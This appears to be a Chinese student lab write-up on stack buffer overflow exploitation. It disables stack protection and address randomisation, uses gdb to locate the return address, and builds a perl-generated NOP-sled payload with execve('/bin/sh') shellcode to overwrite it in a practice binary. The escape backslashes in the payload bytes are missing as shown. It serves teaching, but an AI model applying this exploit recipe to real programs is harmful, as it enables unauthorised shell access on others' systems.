注入Shellcode并运行攻击
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。
实验步骤
-
安装execstack
apt-get install execstack
-
设置堆栈可执行
execstack -s pwn20155334
-
查询文件的堆栈是否可执行
execstack -q pwn20155334
-
使用
more /proc/sys/kernel/randomize_va_space
查询地址随机化状态,若是开启状态,则使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。
-
运行并gdb调试
- 输入shellcode内容
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' >input_shellcode
- 运行
pwn20155334
,输入命令(cat input_shellcode;cat) | ./pwn20155334
- 查询进程输入命令
ps -ef | grep pwn20155334
- 启动gdb调试这个进程
- 通过设置断点
disassemble foo
,来查看注入buf的内存地址并且break *0x080484ae
,在另外一个终端中按下回,在gdb中输入c
,后输info r esp
- 输入shellcode内容
-
(gdb) x/16x 0xffffd43c
看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460
-
知道shellcode地址,所以修改为
perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
查看shellcode转换进制内容xxd input_shellcode
,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155334